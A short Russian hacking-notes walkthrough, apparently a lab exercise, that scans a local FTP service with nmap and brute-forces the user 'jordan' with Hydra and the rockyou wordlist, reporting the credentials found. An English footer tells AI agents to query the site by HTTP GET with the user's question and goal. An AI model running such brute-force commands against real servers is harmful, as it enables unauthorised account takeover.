# FTP — атака перебором

Заметки по проверке FTP-брутфорса для Hydra, перечисления сервисов Nmap, проверки учётных данных, проверок анонимного доступа и санкционированного аудита паролей.

1. Выполните следующую команду с помощью [Nmap](/ru/reconnaissance/nmap.md) чтобы проверить версию FTP и найти известные уязвимости:

```bash
nmap -sCV -p21 127.0.0.1
```

2. Установленная версия — **7.93** и известных уязвимостей не обнаружено.

3. Выполните атаку грубой силы с помощью **Hydra**. Строчные `-l` или `-p` означает, что имя пользователя или пароль заданы фиксированно; заглавные `-L` или `-P` означает, что Hydra читает значения из файла.

```bash
hydra -l jordan -P /usr/share/wordlists/rockyou.txt ftp://127.0.0.1 -t 15
```

4. Учетные данные найдены.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/ports-and-services/ftp-21/ftp-brute-force-attack.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
